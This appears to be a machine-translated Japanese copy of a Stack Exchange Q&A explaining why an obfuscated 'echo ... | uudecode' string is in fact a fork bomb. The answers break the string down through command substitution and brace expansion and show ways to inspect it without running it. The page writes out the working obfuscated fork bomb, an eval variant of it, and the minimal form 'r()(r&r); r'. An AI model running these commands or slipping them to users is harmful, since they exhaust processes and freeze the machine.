web-dev-qa-db-ja.com

この文字列がフォーク爆弾であるのはなぜそしてなぜですか

ランダムなチャンボードで見つけました:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

どういうわけかこれを実行すると、横行してマシンを停止するまで無限に生成するプロセスが発生します。 「su」が何度も実行されようとしていることがわかります。

奇妙なのは、テキストの出力ではなく、何も実行されないことを期待しているからです。

このテキストをオンラインデコーダーに通して実行すると、単なるバイナリの書き出しができます。

uudecode result

このテキストの混乱は実際に何をしているのでしょうか。それを「安全に」表示する方法はありますか。

129
Mikey T.K.

まず、コマンド全体を見てみましょう。

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

それはuudecodeにエコーされる二重引用符で囲まれた文字列を含みます。ただし、二重引用符で囲まれた文字列の中には、逆引用符で囲まれた文字列があります。この文字列は実行されます。文字列は次のとおりです。

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

その内容を見ると、3つのコマンドがあります。

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

真ん中のコマンドにブレース展開を実行すると、次のようになります。

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

最初の行はバックグラウンドでナンセンスなコマンドを実行しようとしています。これは重要ではありません。

2行目は重要です。これは、実行時に自分自身のコピーを2つ起動する関数rを定義します。これらの各コピーは、もちろん、さらに2つのコピーを起動します。等々。

3行目はrを実行し、フォーク爆弾を起動します。

逆引用符で囲まれた文字列以外のコードの残りの部分は、難読化のためには意味がありません。

安全にコマンドを実行する方法

関数の入れ子レベルに制限を設定すれば、このコードを安全に実行できます。これはbashのFUNCNEST変数で行うことができます。ここでは、これを2に設定して再帰を停止します。

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

上記のエラーメッセージは、(a)ナンセンスコマンドrYWdlY29jが見つからないこと、(b)フォークボムがFUNCNESTによって繰り返し停止されること、および(c)echoの出力がbeginで始まっていないことを示します。 uudecodeに対する有効な入力。

最も単純な形のフォーク爆弾

掩蔽物を取り除いた場合、フォーク爆弾はどのように見えるでしょうか。 njzk2とgerritが示唆するように、それは次のようになります。

echo "`r()(r&r);r`"

さらに単純化することができます。

r()(r&r); r

これは2つのステートメントで構成されています。1つはfork-bomb-function rを定義し、2つ目はrを実行します。

uudecodeへのパイプを含む他のすべてのコードは、あいまいさと誤った指示のためだけにありました。

元の形式には、さらに別の誤った方向のレイヤーがありました

OPはこのコードが登場したチャンネルボードディスカッションへのリンク を提供しました 。そこで示されているように、コードは次のようになりました。

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

このコードに関する最初のコメントの1つに注目してください。

私はそれに転んだ。エコーしてデコードした部分だけをコピーしたが、それでもフォーク爆弾になった

チャンネルボード上のフォームでは、問題はevalの出力を操作するuudecodeステートメントであると単純に考えられます。これはevalを削除することで問題が解決すると考える人を導きます。私たちが上で見たように、これは偽であり危険です。

188
John1024

質問の後半に答えるには:

...「安全に」表示する方法はありますか?

この文字列を使用しないようにするには、外側の二重引用符を一重引用符で置き換え、文字列内にある一重引用符をエスケープします。このように、シェルはコードを一切実行しません。実際には、すべてをuudecodeに直接渡します。

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

他の選択肢がコメントに記載されています。

kasperdが提案した

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krallさんは テキストエディタを使って内容を貼り付け、そのファイルをuudecodeに渡すように勧めました。

10
gerrit

一見すると、シェルへの出力は決して実行されないと思うかもしれません。これはまだ正しいです。問題はすでに入力にあります。ここでの主なトリックは、プログラマが 演算子の優先順位 を呼び出すことです。これは、シェルが入力を処理しようとしている順序です。

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. 文字列内のすべてのバッククォートコマンドを実行して文字列を作成します。
  2. 通常は未知のコマンドで、のような出力になります。 'rYWdl'がタイプミスでない場合は、command-not-foundを使ってそれを含むパッケージを検索できます…(システムによって異なります) )
  3. バックグラウンドで2.を実行します。あなたは出力を見ることは決してないでしょう。
  4. フォークボム機能を定義します。
  5. コマンドセパレータ.
  6. フォーク爆弾を実行します。
  7. 6.の結果を文字列に挿入します。 (私たちはここに来たことはありません。)

エラーは、echoが最初に実行されるコマンド、uudecodeが2番目のコマンドになると考えることです。それらの両方が到達することは決してありません。

結論:シェルでは二重引用符は常に危険です。

5
Matthias Ronge